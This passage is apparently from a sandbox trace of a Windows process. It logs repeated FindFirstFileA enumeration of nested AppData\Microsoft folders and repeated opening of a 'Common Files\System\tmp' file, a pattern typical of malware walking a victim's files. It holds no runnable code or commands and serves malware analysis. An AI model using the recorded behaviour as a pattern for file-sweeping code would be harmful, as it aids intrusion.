HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\D68G7BIJ\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b, dwReserved1=0x1, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0128.983] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0128.983] GetLastError () returned 0x12 [0128.983] AreFileApisANSI () returned 1 [0128.983] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.983] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0128.983] GetFileType (hFile=0x18c) returned 0x1 [0128.983] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0128.983] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0128.983] GetLastError () returned 0x12 [0128.983] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0128.984] GetLastError () returned 0x12 [0128.984] AreFileApisANSI () returned 1 [0128.984] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.984] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0128.984] GetFileType (hFile=0x188) returned 0x1 [0128.984] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3d1d6940, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0128.984] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0128.984] GetLastError () returned 0x12 [0128.984] AreFileApisANSI () returned 1 [0128.984] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.984] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0128.984] GetFileType (hFile=0x188) returned 0x1 [0128.985] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IME12\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd754c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd754c00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0128.985] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0128.985] GetLastError () returned 0x12 [0128.985] AreFileApisANSI () returned 1 [0128.985] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0128.985] GetFileType (hFile=0x188) returned 0x1 [0128.985] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP12\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0128.985] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0128.985] GetLastError () returned 0x12 [0128.985] AreFileApisANSI () returned 1 [0128.986] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.986] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0128.986] GetFileType (hFile=0x188) returned 0x1 [0128.986] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP8_1\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0128.986] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0128.986] GetLastError () returned 0x12 [0128.986] AreFileApisANSI () returned 1 [0128.986] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.986] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0128.986] GetFileType (hFile=0x188) returned 0x1 [0128.986] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP9_0\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0128.987] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0128.987] GetLastError () returned 0x12 [0128.987] AreFileApisANSI () returned 1 [0128.987] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.987] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0128.987] GetFileType (hFile=0x188) returned 0x1 [0128.987] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0128.987] AreFileApisANSI () returned 1 [0128.987] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.987] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0128.987] GetFileType (hFile=0x18c) returned 0x1 [0128.988] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0128.988] AreFileApisANSI () returned 1 [0128.988] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0128.988] GetFileType (hFile=0x190) returned 0x1 [0128.988] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0128.988] AreFileApisANSI () returned 1 [0128.988] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0128.989] GetFileType (hFile=0x194) returned 0x1 [0128.989] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0129.082] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0129.082] GetLastError () returned 0x12 [0129.083] AreFileApisANSI () returned 1 [0129.083] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.083] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0129.083] GetFileType (hFile=0x194) returned 0x1 [0129.083] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0129.127] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0129.128] GetLastError () returned 0x12 [0129.128] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0129.128] GetLastError () returned 0x12 [0129.128] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0129.128] GetLastError () returned 0x12 [0129.128] AreFileApisANSI () returned 1 [0129.128] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.128] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0129.128] GetFileType (hFile=0x18c) returned 0x1 [0129.129] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Transcoded Files Cache\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7f22040, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0129.173] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0129.174] GetLastError () returned 0x12 [0129.174] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0129.174] GetLastError () returned 0x12 [0129.174] AreFileApisANSI () returned 1 [0129.174] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.174] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0129.174] GetFileType (hFile=0x188) returned 0x1 [0129.174] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4bb72310, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb72310, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0129.174] AreFileApisANSI () returned 1 [0129.175] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.175] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0129.175] GetFileType (hFile=0x18c) returned 0x1 [0129.175] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x197ec0b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7a855a0, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7a855a0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0129.175] AreFileApisANSI () returned 1 [0129.175] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.175] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0129.175] GetFileType (hFile=0x190) returned 0x1 [0129.175] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7a855a0, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7ad1860, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0129.176] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0129.176] GetLastError () returned 0x12 [0129.176] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0129.176] GetLastError () returned 0x12 [0129.176] AreFileApisANSI () returned 1 [0129.176] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.176] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0129.176] GetFileType (hFile=0x18c) returned 0x1 [0129.176] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4, dwReserved1=0x867248, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0129.176] AreFileApisANSI () returned 1 [0129.176] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.176] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0129.177] GetFileType (hFile=0x190) returned 0x1 [0129.177] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\System\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0129.177] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0129.177] GetLastError () returned 0x12 [0129.177] AreFileApisANSI () returned 1 [0129.177] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.177] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0129.177] GetFileType (hFile=0x190) returned 0x1 [0129.177] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\User\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0129.178] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0129.178] 